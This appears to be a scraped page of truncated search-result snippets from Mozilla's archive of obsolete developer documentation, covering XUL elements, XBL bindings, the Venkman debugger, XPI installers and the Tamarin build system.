url, and forces it to be in private mode. var channel = services.io.newchannel("http://example.org", null, null); channel.queryinterface(components.interfaces.nsiprivatebrowsingchannel); channel.setprivate(true); // force the channel to be loaded in private mode similarly, xmlhttprequest objects created via createinstance(ci.nsixmlhttprequest) will often require explicit adjustment, since they have n...
Tamarin Build System Documentation - Archive of obsolete content
uding all checkins since the last build each sandbox build occurs in the order they were submitted, the submitter may cancel a build. how do i build a sandbox build? create a user repository, instructions are https://developer.mozilla.org/en/publishing_mercurial_clones go to the request a sandbox build page http://tamarin-builds.mozilla.org/build_trigger/requestbuild.cfm enter the repository
url, revision number, email address, and description. the description appears in the buildbot status page, please describe what you are trying to build and test after submitting a sandbox build view the build status page or the queue (if buildbot is busy) how do i view and change the queue? if buildbot is busy the queue is displayed http://tamarin-builds.mozilla.org/build_trigger/requestbuild.c...
The life of an HTML HTTP request - Archive of obsolete content
warning: the content of this article may be out of date. it was last updated in 1999. (1) the loading of the
url is started in nswebshell::doload
url (called from some load
url or loaduri variant in the webshell). the webshell then tells its documentloader to load (command "view") the specified
url. [note: passes nswebshell.mobserver as nsistreamobserver and the webshell as nsicontentviewercontainer to the docloader.] (2) the document loader calls ns_openuri with the
url to begin transfering the requested file. necko (the network library) checks the
url scheme (the first part of the
url, http: in this case) and locates the correct nsiprotocolhandler (in this case nshttphandler) and asks it for a nsichannel (nshttpchannel). the channel represents the connection to the server, a...
Venkman Introduction - Archive of obsolete content
leted) a alias to another property a argument to a function v declared with var figure 8. property flags properties of both scope and this objects are listed alphabetically, grouped by data type. figure 9 shows which icons represent which data types. properties which are of the type object are displayed with the name of their constructor function in c
urly braces as their value. you can locate the source code of the constructor by selecting "find constructor" from the property's context menu. you can find the place where the object was instantiated with the "find creator" command. by default, properties of type function are not displayed, in order to conserve space in the view. if you would like to have functions displayed, check the "include func...
Using Breakpoints in Venkman - Archive of obsolete content
sents a promise from venkman to set a hard breakpoint as soon as it is possible. future breakpoints are used when you want to stop in a script that has not yet been compiled. the most common use of future breakpoints is to stop in a "top level" script (script that executes outside of any function), or script that executes during the onload event of a page. when a script is loaded that matches the
url of a future breakpoint, and has executable code at the specified line, venkman will automatically set a future breakpoint. except for this distinction, breakpoints in venkman work like breakpoints in most other debuggers. the dots you see in the left margin of the source code view indicate which lines contain executable code, places where a hard breakpoint can be set. setting breakpoints clickin...
Venkman - Archive of obsolete content
advanced install. also available from firefox add-ons as an extension. nvu and kompozer javascript debugger extension version 0.9.84 is available from nvu's downloads page. we encourage you to use the latest available version 0.9.87.1 (or higher) with firefox instead. source code the source code for venkman may be found in mercurial at the following
url: http://hg.mozilla.org/venkman/summary community view mozilla forums... mailing list newsgroup rss feed irc: #venkman on irc.mozilla.org report a bug in venkman if you find a problem with venkman, please follow directives mentioned at venkman faq section 5.4 and then you may report a bug on javascript debugger component. related top...
Creating XPI Installer Modules - Archive of obsolete content
ess of the installation of the barley package is that the user can, as before, invoke our software by using a special startup option: mozilla -chrome chrome://barley/content this option tells mozilla to load a chrome other than the default, which is the main browser window. for this option to work, the designated chrome must have been installed and registered properly with mozilla. the chrome://
url pointer corresponds to the directory mozilla/bin/chrome/barley/content, where the main xul file and the other resources live once they are installed. package creation overview this tutorial describes the following sequence of steps for creating a new package: developing the resources organizing the resources creating the contents.rdf file making the barley install script creating a xpi...
InstallTrigger.startSoftwareUpdate - Archive of obsolete content
installtrigger.startsoftwareupdate this is a very simple example of the installtrigger object's principal method, startsoftwareupdate, which takes a string representing the path to the xpi and installs that xpi on the local machine. function trigger
url(
url) { installtrigger.startsoftwareupdtate(
url); } // get the
url to the .xpi from either a form // or text field entry. then do: ... onclick="trigger
url(this.form.
url.value); ...
getFolder - Archive of obsolete content
"win desktop" "win desktop common" "win program files" "win programs" "win programs common" "win startmenu" "win startmenu common" "win startup" "win startup common" "win system" the "file:///" form is only valid when the subdirectory parameter is used. it must be in file:
url format minus the "file:///" part. for example, mydir = getfolder("file:///", "c|/mysoftco/somedir"); note that forward slashes are used, regardless of the platform. the folders whose names start with "win", "mac", or "unix" are specific to those platforms. you should be careful about using one of those directories, as it makes your installation platform-specific. example to get an object repr...
autocompletesearch - Archive of obsolete content
n this attribute. search-autocomplete requires seamonkey 2.1 the user's default search engine's suggestions are searched. places-tag-autocomplete requires seamonkey 2.1 the user's places tags are searched. mydomain new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested. history requires seamonkey 2.0 the user's
url history is searched. form-history requires seamonkey 2.0 search the values that the user has entered into form fields. file (linux only) the local file system is searched. gloda new in thunderbird 3 addrbook new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched. ldap new in thunderbird 25 requires seamonke...
panel.type - Archive of obsolete content
panel that provides a richlistbox for an autocomplete element. arrow specify this for a panel that provides an arrow pointing at its anchor. drag specify this for a panel that's being used as a drag image for a drag and drop operation. otherwise leave this attribute out. for example, the site identity panel that appears when you click on the favicon in the
url bar in firefox is an arrow panel: note: the arrow will draw as long as the panel doesn't overlap the anchor. if they overlap, the anchor won't be drawn. the panel may not appear on the side of the anchor that you requested in which case the arrow will automatically adjust. ...
searchSessions - Archive of obsolete content
« xul reference home searchsessions obsolete since gecko 26 type: space-separated list of session names set to a keyword indicating what type of data to look up for autocomplete. you may set multiple types by separating their names by spaces. the following values are possible, although custom components may be installed which add others. history: the user's
url history is searched. obsolete since gecko 3 addrbook: the user's address book is searched. obsolete since gecko 3 ldap: the user's ldap directories are searched. obsolete since gecko 25 ...
showcommentcolumn - Archive of obsolete content
« xul reference home showcommentcolumn new in thunderbird 3requires seamonkey 2.0 type: boolean if true, a comment column appears in the popup. for the
url history, the comment column will contain the page titles associated with each
url. if this attribute is not specified, the comment column doesn't appear. ...
textbox.showCommentColumn - Archive of obsolete content
« xul reference home showcommentcolumn obsolete since gecko 1.9.1 type: boolean if true, a comment column appears in the popup. for the
url history, the comment column will contain the page titles associated with each
url. if this attribute is not specified, the comment column doesn't appear. as of gecko 1.9.1, this attribute is now always specified in lower case. ...
Building accessible custom components in XUL - Archive of obsolete content
1"/> <label value="dinner" flex="1"/> <label value="lodging" flex="1"/> <label value="breakfast" flex="1"/> <label value="lunch" flex="1"/> <label value="dinner" flex="1"/> </column> <-- several columns omitted for brevity --> </columns> </grid> </code> now we can use css to add some minimal styling to make it actually look like a spreadsheet. ...
Menus - Archive of obsolete content
saves a link links context-sendlink sends a link in an email links context-copyemail copies an email address mailto: links context-copylink copies a link links context-viewimage views an image at full size images context-copyimage-contents copies an image to the clipboard images context-copyimage copies the
url of an image to the clipboard images context-saveimage saves an image images context-sendimage sends an image in an email images context-setdesktopbackground sets an image as the desktop background images context-blockimage blocks an image images context-back goes back a page context-forward goes forward a ...
International characters in XUL JavaScript - Archive of obsolete content
n schönes beispiel eines mehrsprachigen textes: 日本語"; this mixes german and japanese characters. earlier versions always interpreted js files loaded from xul as iso-8859-1 (latin-1), in both local and remote cases. unicode escapes, as discussed below, have always worked. how the character encoding is determined in gecko 1.8 and later when the javascript file is loaded from a chrome://
url, a byte order mark (fixme: )(bom) is used to determine the character encoding of the script. otherwise, the character encoding will be the same as the one used by the xul file (which can be specified using an encoding attribute in the <?xml?> tag). by default this will use utf-8, which can represent virtually all characters in the world. if the script file is loaded via http, the http header can...
Introduction to XUL - Archive of obsolete content
t which may change as the locale changes. the localized text must be defined in a separate dtd or dtd fragment. the whole system is then configured with different locale-specific dtds, and the correct dtd will be chosen for a given xml file at runtime, depending on the current locale settings. mozilla will make that decision automatically if the localized xml file specifies its dtd using a chrome
url, as outlined in xul localizability issues. original document information author(s): danm@netscape.com last updated date: january 31, 2005 copyright information: copyright (c) danm@netscape.com ...
addTab - Archive of obsolete content
the rest of the parameters are optional. the row of tabs will appear if needed. firefox 3.6 note the second form of this method was added in firefox 3.6; it allows you to specify the parameters by name, in any order. it also adds the relatedtocurrent parameter; firefox uses this to decide whether the new tab should be inserted next to the current tab. see code snippets: tabbed browser for examples. ...
getIcon - Archive of obsolete content
« xul reference home geticon( atab ) return type: string returns the
url of the specified tab's favicon. if atab is null, the current tab's icon is returned. see seticon to set the icon. ...
loadGroup - Archive of obsolete content
« xul reference home loadgroup( group ) not in firefox return type: the first tab loads a group of pages into multiple tabs. they are either appended or replaced depending on the state of the preference browser.tabs.loadgroup. the argument should be an array of objects, one for each document to load. the objects may be defined in script and contain a uri property for the
url of the page to load. a referreruri property may also be optionally used to set the referrer page. this function returns a reference to the first tab loaded. ...
loadOneTab - Archive of obsolete content
the rest of the parameters are optional. this method works the same as addtab except for the loadinbackground parameter which allows you to choose whether to open the new tab in foreground or background. there's also no owner parameter as the owner tab is specified automatically. parameters inbackground if true the tab will be loaded in the background, if false the tab will be the newly selected tab. ...
loadURI - Archive of obsolete content
« xul reference home note: this is the xul method on <browser> / <tabbrowser>, not the global function in chrome://browser/content/browser.js. please check which one you're documenting! (this one has no post data parameter, see loaduriwithflags for a version that does) loaduri( uri, referrer, charset ) return type: no return value load a
url into the document, with the given referrer and character set. the first argument should be a string, not a nsiuri object. to get a string from an nsiuri, use nsiuri.spec or nsiuri.asciispec ...
loadURIWithFlags - Archive of obsolete content
« xul reference home loaduriwithflags( uri, flags, referrer, charset, postdata ) return type: no return value load a
url into the document, with the specified load flags, the given referrer, character set, and post data. in addition to the flags allowed for the reloadwithflags method, the following flags are also valid: load_flags_is_refresh: this flag is used when the
url is loaded because of a meta tag refresh or redirect. load_flags_is_link: this flag is used when the
url is loaded because a user clicked on a link. the http referer header is set accordingly. load_flags_bypass_history: do not add the
url to the session history. load_flags_replace_history: replace the current
url in the session history with a new one. this flag might be used for a redirect. (see...
openSubDialog - Archive of obsolete content
« xul reference home opensubdialog(
url, features, params ) return type: window opens a child modal dialog. usually this method would be used to allow the user to configure advanced options. the arguments are similar to the window's opendialog method except that the window name does not need to be supplied. the
url should be a xul file. if the child dialog is also a prefwindow, set its type attribute to child so that preferences will be saved properly when the main dialog is closed. ...
openWindow - Archive of obsolete content
« xul reference home openwindow( windowtype,
url, features, params ) return type: window open a child window. the windowtype is a string specifying a window type. if a window with that type is already open, this method will just switch that window to the front and focus it instead of opening another window. if a window of the type is not open, a new one is opened displaying the supplied
url. ...
replaceGroup - Archive of obsolete content
n firefox return type: array of session history objects replaces existing tabs with a new set. if there were more tabs before, the additional ones are not removed. you can use the removetab method to remove the existing tabs first if that is desired. the argument should be an array of objects, one for each document to load. the objects may be defined in script and contain a uri property for the
url of the page to load. a referreruri property may also be optionally used to set the referrer page. this method returns an array of the session history objects for the tabs that were removed. ...
Namespaces - Archive of obsolete content
ds). to quote wikipedia: "in general, a namespace is an abstract container providing context for the items ... it holds and allows disambiguation of items having the same name." if you are familiar with c++ namespaces, java packages, perl packages, or python module importing, you are already familiar with the namespace concept. an xml namespace is identified by an unique name (called a uri, not a
url, even though it can look like a
url). an uri is any string, although most people choose a
url-based uri because
urls are an easy way to hope for uniqueness. although there's nothing preventing someone else from using the namespace http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul, it's fairly unlikely anyone would choose that accidentally. even if they did accidentally choose it, they...
Extensions - Archive of obsolete content
enable or disable commands related to text editing. onimage true if the target is an image. hasbgimage true if the target or an ancestor has a background image. onmathml true if the target is a mathml element. onlink true if the target is a link. onmailtolink true if the target is a link to an email address (a mailto: link). link
url the
url of the link that was context clicked. inframe true if the context click occured from within a frame. istextselected true if text is selected. (note: was removed from thunderbird 3 - see bug 463003 for a replacement) iscontentselected true if anything, text or otherwise, is selected. in the following example, the menuitem is hidden unless the t...
currentIndex - Archive of obsolete content
t language ="javascript"> function treerowclicked(){ var tree = document.getelementbyid("my-tree"); var selection = tree.view.selection; var celltext = tree.view.getcelltext(tree.currentindex, tree.columns.getcolumnat(0)); alert(celltext); } </script> <tree id="my-tree" seltype="single" onselect="treerowclicked()"> <treecols> <treecol label="title" flex="1"/><treecol label="
url" flex="1"/> </treecols> <treechildren> <treeitem> <treerow> <treecell label="joe@somewhere.com"/> <treecell label="top secret plans"/> </treerow> </treeitem> <treeitem> <treerow> <treecell label="mel@whereever.com"/> <treecell label="let's do lunch"/> </treerow> </treeitem> </treechildren> </tree> see also lis...
Property - Archive of obsolete content
documentcharsetinfo editable editingcolumn editingrow editingsession editor editortype emptytext deprecated since gecko 2 enablecolumndrag eventnode firstordinalcolumn firstpermanentchild flex focused focuseditem forcecomplete group handlectrlpageupdown handlectrltab hasuservalue height hidden hideseconds highlightnonmatches homepage hour ho
urleadingzero id ignoreblurwhilesearching image increment inputfield inverted is24hourclock ispm issearching iswaiting itemcount label labelelement lastpermanentchild lastselected left linkedpanel listboxobject locked markupdocumentviewer max maxheight maxlength maxrows maxwidth menu menuboxobject menupopup min minheight minresultsforpopup...
Providing Command-Line Options - Archive of obsolete content
the code below is an example of writing a javascript xpcom component to handle command line parameters. you can learn more about how the command line is interpreted by looking at the documentation for the nsicommandline interface. example the below example component implements two command line parameters: firefox.exe -myapp opens a chrome window for my application. firefox.exe -viewapp
url opens a chrome window for my application and passes it an nsiuri object. using the example to use this sample code, save the commandline.js file into the components directory and add the following lines to your chrome.manifest file: component {2991c315-b871-42cd-b33f-bfee4fcbf682} components/commandline.js contract @mozilla.org/commandlinehandler/general-startup;1?type=myapp {2991c315-b871-4...
Building Menus With Templates - Archive of obsolete content
the first rule matches all houses, while the second rule is used for streets. the content generated for each rule differs in only two ways. first, the menu tag is different (menuitem versus menu), and the label is taken from a different rdf predicate. at the outer le...
Result Generation - Archive of obsolete content
are two types of nodes in rdf, resources which usually represent 'things', and literals which are values like the names, dates or sizes of those things, and so on. a literal's value is, for example, the name of the thing, such as 'fred'. a resource's value is a uri which for your own rdf data you can just make up (though if you plan to use your model with others, it should be unique, preferably a
url for a site you own, so as to avoid future conflicts with mixing of other types). we'll use the uri of the resource nodes in a template. in the image, the resource uri's are the blue labels of each node. there are no literals in this example, but we'll see some later. let's say we want the starting point to be a from the above example graph. we will use a's uri (http://www.xulplanet.com/rdf/a) as ...
SQLite Templates - Archive of obsolete content
n sqlite database, such as those used by the mozstorage api. this allows information from the database to be used to generate xul content. to do this, set the querytype attribute on the root node of the template to the value storage. this will cause the datasource to be treated as an sqlite database. the datasources attribute may be set to one of two possible types of values. first, it may a file
url pointing to a file on disk. in this case, you will often be setting the datasources attribute dynamically after determining the file path. (if you intend to set it by script, you must set datasources in the xul to rdf:null). the second method involves using a special
url form: profile:filename.sqlite this form with the 'profile' prefix is used to refer to files in the profile directory. this is...
Template and Tree Listeners - Archive of obsolete content
ndex in the tree and the associated member resource for the item at the index. naturally, we can't store the index as the item may have moved its position. or, the resource may no longer be part of the results, which is why we need to check the return value of the getindexofresource method. (as this example uses the rdf resources directly, it requires elevated privileges so you will need a chrome
url to test it.) you might also guess that the builder's root property, which is used above, refers to the tree. in a content builder, it will return the element with the datasources attribute, which in the template builder is referred to as the root element. finally, you can remove a listener using the builder's removelistener method. listening for tree changes the second type of listener is used to...
Tree Widget Changes - Archive of obsolete content
e, or leaving out the attribute. note that it's the value attribute you use, not the label attribute. <treecell/> <treecell value="true"/> you need to specify the checkbox image with css for the checkbox to display. (do not set id of the column to be 'checked' it will cause problems with the css) treechildren::-moz-tree-checkbox(checked) { /* css for checked cells */ list-style-image:
url("chrome://global/skin/checkbox/cbox-check.gif"); } in addition, checkmark columns support editing: <tree editable="true"> <treecols> <treecol type="checkbox" editable="true"> ... </treecol> </treecols> </tree> if the column is editable, the user can click the cell to change the state of the checkbox. when the user clicks the cell, the view's setcellvalue method will be call...
Adding Buttons - Archive of obsolete content
on elements in this tutorial for simplicity. class the style class of the button. this works the same as in html. it is used to indicate the style that the button appears in. in this case the value dialog is used. in most cases, you will not use a class for a button. label the label that will appear on the button. for example, ok or cancel. if this is left out, no text appears. image the
url of the image to appear on the button. if this is attribute is left out, no image appears. you can also specify the image in a stylesheet using the list-style-image property. disabled if this attribute is set to true, the button is disabled. this is usually drawn with the text in grey. if the button is disabled, the function of the button cannot be performed. if this attribute is left out entir...
Adding Event Handlers - Archive of obsolete content
elow just after the opening window tag and before any elements. <script src="findfile.js"/> we'll create the script file later when we know what we want to put in it. we'll define some functions in the file and we can call them in event handlers. you can include multiple scripts in a xul file by using multiple script tags, each pointing to a different script. you may use relative or absolute
urls. for example, you may use
urls of the following form: <script src="findfile.js"/> <script src="chrome://findfiles/content/help.js"/> <script src="http://www.example.com/js/items.js"/> this tutorial does not attempt to describe how to use javascript (except as related to event handling) as this is a fairly large topic and there are plenty of other resources that are available for this. by def...
Adding HTML Elements - Archive of obsolete content
s way, mozilla can distinguish the html tags from the xul ones. the attribute below should be added to the window tag of the xul file, or to the outermost html element. xmlns:html="http://www.w3.org/1999/xhtml" this is a declaration of html much like the one we used to declare xul. this must be entered exactly as shown or it won't work correctly. note that mozilla does not actually download this
url, but it does recognize it as being html. here is an example as it might be added to the find file window: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> then, y...
Anonymous Content - Archive of obsolete content
ildren element. the children added in the xul are added in place of the children element. this is handy when creating custom menu widgets. for example, a simplified version of an editable menulist element, might be created as follows: xul: <menu class="dropbox"> <menupopup> <menuitem label="1000"/> <menuitem label="2000"/> </menupopup> </menu> css: menu.dropbox { -moz-binding:
url('chrome://example/skin/example.xml#dropbox'); } xbl: <binding id="dropbox"> <content> <children/> <xul:textbox flex="1"/> <xul:button src="chrome://global/skin/images/dropbox.jpg"/> </content> </binding> this example creates an input field with a button beside it. the menupopup will be added to the content in the location specified by the children element. note that to dom func...
Creating a Wizard - Archive of obsolete content
n the wizard are used to control the wizard navigation. when creating a wizard, use the wizard tag instead of the window tag. the content of the wizard element includes the content of each page of the wizard. the pages of the wizard are created using the wizardpage element. you can place whatever content you want inside each wizardpage. note that wizards currently only work properly from chrome
urls. the wizard consists of several sections. the exact layout will vary according to the os for the platform. wizards will generally be displayed using customs that are familiar to the user of a particular os. a typical layout will include a title across the top, a set of navigation buttons across the bottom and the page contents in between. the title across the top is created using the title att...
Creating an Installer - Archive of obsolete content
e that was just installed. this is important if you are installing multiple components. the second argument is a result code. if the result is 0, the installation completed successfully. if the result is non-zero, an error occured and the value is an error code. the function donefn() here just displays an alert box to the user. next, we create an array xpi which will hold the name (calendar) and
url (calendar.xpi) of the installer. you can add an additional similar such line for each package you wish to have installed. finally, we call the install function. when this section of script is executed, the file calendar.xpi will be installed. our find files example let's try this with the find files dialog. function donefn ( name , result ){ if (result) alert("an error occured: " + result)...
Features of a Window - Archive of obsolete content
rame> or tab) with the specified name. if the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.">window.open() function to open the second window. this function will return a reference to the newly opened window. you can use this reference to call functions of the other window. the open function takes three arguments. the first is the
url of the file you wish to open. the second is an internal name of the window. the third is a list of display flags. the flag 'chrome' is important to open the window as a chrome file. if you do not add the 'chrome' flag, the file will open up as the content in a browser window. for example: var mywin = window.open("chrome://findfile/content/findfile.xul", "findfile", "chrome"); specifying the wi...
Install Scripts - Archive of obsolete content
nstall to the assigned installation directory. adddirectory ( dir ); addfile ( dir ); example: adddirectory("findfile"); the example above will specify that the findfile directory from the installer archive should be installed. we can call these functions multiple times to install other files. next, we'll want to register the find files in the chrome system so that it can be used with a chrome
url. this can be done with the registerchrome() function. it takes two arguments, the first is the type of chrome to register (content, skin or locale). the second is the directory containing the contents.rdf file to register. because the find files dialog contains content, a skin file and a locale file, registerchrome() will need to be called three times. registerchrome(install.content | install.del...
Localization - Archive of obsolete content
ks. once you have created a dtd file for your xul, you will need to add a line to the xul file which indicates that you want to use the dtd file. otherwise, errors will occur as it won't be able to find the entities. to do this, add a line of the following form somewhere near the top of the xul file: <!doctype window system "chrome://findfile/locale/findfile.dtd"> this line specifies that the
url indicated is to be used as a dtd for the file. in this case, we have declared that we want to use the findfile.dtd dtd file. this line is typically placed just before the window element. you also need to add the locale to the chrome.manifest file, for example: locale findfile en-us locale/ declaring entities the entities are declared using a simple syntax as shown below: <!entity findlabel ...
Modifying the Default Skin - Archive of obsolete content
to be skinnable. this is because a particular skin's design might not use images and it may need some more complex design. by referring to the images with css, they are easy to remove. it also removes the reliance on specific image filenames. you can assign images to a button, checkbox and other elements by using the list-style-image property as in the following: checkbox { list-style-image:
url("chrome://findfile/skin/images/check-off.jpg"); } checkbox[checked="true"] { list-style-image:
url("chrome://findfile/skin/images/check-on.jpg"); } this code changes the image associated with a checkbox. the first style sets the image for a normal checkbox and the second style sets the image for a checked checkbox. the modifier 'checked=true' makes the style only apply to elements which have...
More Event Handlers - Archive of obsolete content
s because the xul elements may not have loaded or fully initialized yet, so some things may not work as expected. to use a load event, place an onload attribute on the window tag. call code within the load handler which will initialize the interface as necessary. there is also an unload event which is called once the window has closed, or in a browser context, when the page is switched to another
url. you can use this event to save any changed information, for example. next, we'll find out how to add keyboard shortcuts. « previousnext » ...
Open and Save Dialogs - Archive of obsolete content
of dialog is one where the user can select a file to open or save. file pickers a file picker is a dialog that allows the user to select a file. it is most commonly used for the open and save menu commands, but you can use it any place in which the user needs to select a file. the xpcom interface nsifilepicker is used to implement a file picker. note that the file picker only works from chrome
urls. you can use the file picker in one of three modes: open - the user is asked to select a file for opening. get folder - the user is asked to select a folder (directory). save - the user is asked to select the name to save a file to. the appearance of the dialog will be different for each type and will vary on each platform. once the user selects a file or folder, it can be read from or w...
Property Files - Archive of obsolete content
ion. this element reads in the contents of a property file and builds a list of properties for you. you can then look up a particular property by name. <stringbundleset id="stringbundleset"> <stringbundle id="strings" src="strings.properties"/> </stringbundleset> including this element will read the properties from the file 'strings.properties' in the same directory as the xul file. use a chrome
url to read a file from the locale: <stringbundleset id="stringbundleset"> <stringbundle id="strings" src="chrome://myplugin/locale/strings.properties"/> </stringbundleset> like other non-displayed elements, you should declare all your stringbundles inside a stringbundleset element so that they are all kept together. getting a string from the bundle this stringbundle element has a number of properti...
Toolbars - Archive of obsolete content
usually placed along the top of a window and contains a number of buttons that perform common functions. xul has a method to create toolbars. adding a toolbar like a number of elements, xul toolbars are a type of box. usually, a row of buttons would appear in the toolbar, but any element can be placed in a toolbar. for example, the mozilla browser window contains a textbox that displays the page
url. toolbars may be placed on any side of the window, either horizontally or vertically. of course you wouldn't normally put a textbox in a vertical toolbar. actually, because toolbars are just boxes they can actually go anywhere you want, even in the middle of a window. typically however, a set of toolbars would appear along the top of a window. when more than one toolbar is placed next to each oth...
XBL Example - Archive of obsolete content
d to will be placed inside the deck. the selectedindex is inherited by the deck, so we may set the initial page in the xul. the following xul file produces the result in the image. <box class="slideshow" previoustext="previous" nexttext="next" flex="1"> <button label="button 1"/> <checkbox label="checkbox 2"/> <textbox/> </box> the style sheet used here is: .slideshow { -moz-binding:
url("slideshow.xml#slideshow"); } the first button, button 1 has been used as the first page of the deck. the label widget has not appeared as no value has been specified for it. we could set a value, but instead it will calculated later. page property next, a property that holds the current page will be added. when getting this custom property, it will need to retrieve the value of the selecte...
XUL accessibility tool - Archive of obsolete content
et is compatible with the following xul applications: firefox 1.5+ thunderbird 3.0a+ recent sunbird builds recent songbird builds. it probably also works on seamonkey, but i haven't verified this. use to launch the tool after installation, look for an entry in the tools menu of the host application, or hit ctrl+alt+shift+f12. once the tool window has loaded, select either a local file, web
url, or currently open window from the file menu to generate a xul report for that document. be aware that the report might take a little while to be ready depending on the complexity of the application being analyzed and the speed of your machine. future work the following things have been suggested or are planned for a future version of the tool: new tests: (aaronlev) warning: hardcoded color ...
XUL Coding Style Guidelines - Archive of obsolete content
some of the guidelines are recommended practices, the others are mandatory. xml, xul, html, and xhtml guidelines the following are considered good coding style for xml/xul documents. disobeying them might not cause any parsing error for now, however, it might cause future maintenance headache: convert html files to xul files. use the xml declaration. use namespace. case sensitivity. use chrome
urls. javascript code shall be moved out of xul. dtd declaration. predefined entities. other guidelines mentioned in xhtml 1.1 recommendation. see details here. making xul localizable -- mandatory in the past, ui (display) related resource descriptions are stored in *.rc (for windows client) or *.ad (for unix client) so that they can be localized for a specific language or culture. in the new world...
XUL controls - Archive of obsolete content
led box around other user interface controls. <groupbox> <caption label="network"/> </groupbox> more information about the groupbox element. groupbox reference related elements: caption <filefield> allows the user to select a file. <filefield/> filefield reference <image> an image specified by a
url. <image src="start.png"/> more information about the image element. image reference <label> adds a text label to a nearby control. <label control="volume" value="volume:"/> more information about the label element. label reference <listbox> the listbox is used to select an item from a list of labelle...
button - Archive of obsolete content
crop attribute. dir type: string gets and sets the value of the dir attribute. disabled type: boolean gets and sets the value of the disabled attribute. dlgtype type: string gets and sets the value of the dlgtype attribute. group type: string group name gets and sets the value of the group attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. open type: boolean gets and sets the value of the open attribute. orient type: string gets and sets the value of the orient attribute. tabindex type: integer gets and sets the val...
caption - Archive of obsolete content
ment. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. properties accesskey type: character gets and sets the value of the accesskey attribute. crop type: string gets and sets the value of the crop attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. tabindex type: integer gets and sets the value of the tabindex attribute. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, ge...
checkbox - Archive of obsolete content
for the element. checked type: boolean gets and sets the value of the checked attribute. command type: element id gets and sets the value of the command attribute. crop type: string gets and sets the value of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. src type:
url gets and sets the value of the src attribute. label type: string gets and sets the value of the label attribute. tabindex type: integer gets and sets the value of the tabindex attribute. methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattri...
editor - Archive of obsolete content
the editortype attribute on the editor. call the makeeditable method to make the document loaded in the editor editable. enable the design mode of the document loaded in the editor. to edit a new document, set the src attribute to about:blank. to access most of the functionality of the editor, your application must be part of an extension or part of the chrome. xul applications loaded via a
url from a web server will not be able to access most of the features of the editor. see the rich text editing and midas pages for more information about gecko's built-in rich text editor. attributes editortype, src, type properties accessibletype, commandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, geth...
label - Archive of obsolete content
ls. using it with an anchor tag (an <a> link) will have no effect. the element will, however, still respond to mouse events. to enable the element, leave this attribute out entirely. visible controls have a disabled property which, except for menus and menuitems, is normally preferred to use of the attribute, as it may need to update additional state. href type: string defines a
url to open when this element is clicked. requires the class attribute to include text-link. value type: string the text to be used for the label. properties accesskey type: character gets and sets the value of the accesskey attribute. accessibletype type: integer a value indicating the type of accessibility object for the element. ...
listitem - Archive of obsolete content
e. control type: element id gets and sets the value of the control attribute. crop type: string gets and sets the value of the crop attribute. current type: boolean gets and sets the value of the current attribute. disabled type: boolean gets and sets the value of the disabled attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. selected type: boolean this property's value is true if this element is selected, or false if it is not. this property is read only. this property is available for menuitem and menuseparator elements in firefox 3. tabinde...
menuitem - Archive of obsolete content
ts and sets the value of the command attribute. control type: menu element returns the enclosing menu that the item is inside, if any, or null if there is no enclosing menu. crop type: string gets and sets the value of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. labelelement type: label element the label element associated with the control. this is set when a label has a control attribute pointing to this element. this property will be null when no label is associated with the control. parentcontainer...
menulist - Archive of obsolete content
t attribute. disabled type: boolean gets and sets the value of the disabled attribute. editable type: boolean returns true if the element is editable. autocomplete fields are editable so this property always returns true for those. editor type: nsieditor a reference to the nsieditor for editable text. this property is read only. image type: image
url the image associated with the currently selected item. inputfield type: textbox element a reference to the textbox element used for editable menu lists. this property is read only and applies to editable menulists only. itemcount type: integer read only property holding the number of child items. label type: string gets and sets the value of the label att...
menuseparator - Archive of obsolete content
nd sets the value of the command attribute. control type: menu element returns the enclosing menu that the item is inside, if any, or null if there is no enclosing menu. crop type: string gets and sets the value of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. labelelement type: label element the label element associated with the control. this is set when a label has a control attribute pointing to this element. this property will be null when no label is associated with the control. parentcontai...
notification - Archive of obsolete content
e contents, as visible to the user, are read and set using the menulist.value syntax. for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user. properties accessibletype type: integer a value indicating the type of accessibility object for the element. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. persistence type: integer gets and sets the value of the persistence attribute. priority type: string gets and sets the value of the priority attribute. type type: string gets and sets the value of the type attribu...
notificationbox - Archive of obsolete content
tification will be added behind it. label - label to appear on the notification. this should be either a string, or, from gecko 37 onwards, you can pass a documentfragment with rich content as well. keep in mind that this is all xul so using html elements for styling might still need additional css in order to work as you might expect. value - value used to identify the notification image -
url of image to appear on the notification. if "" then an icon appropriate for the priority level is used. priority - notification priority; see priority levels. buttons - array of button descriptions to appear on the notification. eventcallback optional - a javascript function to call to notify you of interesting things that happen with the notification box. see notification box events. prio...
radio - Archive of obsolete content
or the element. control type: radiogroup element returns the enclosing radiogroup that the radio element is contained within, which may or may not be its direct parent. crop type: string gets and sets the value of the crop attribute. disabled type: boolean gets and sets the value of the disabled attribute. image type: image
url gets and sets the value of the image attribute. label type: string gets and sets the value of the label attribute. radiogroup type: radiogroup element equivalent to the control property. selected type: boolean this property's value is true if this element is selected, or false if it is not. this property is read only. this property is...
<statusbarpanel> - Archive of obsolete content
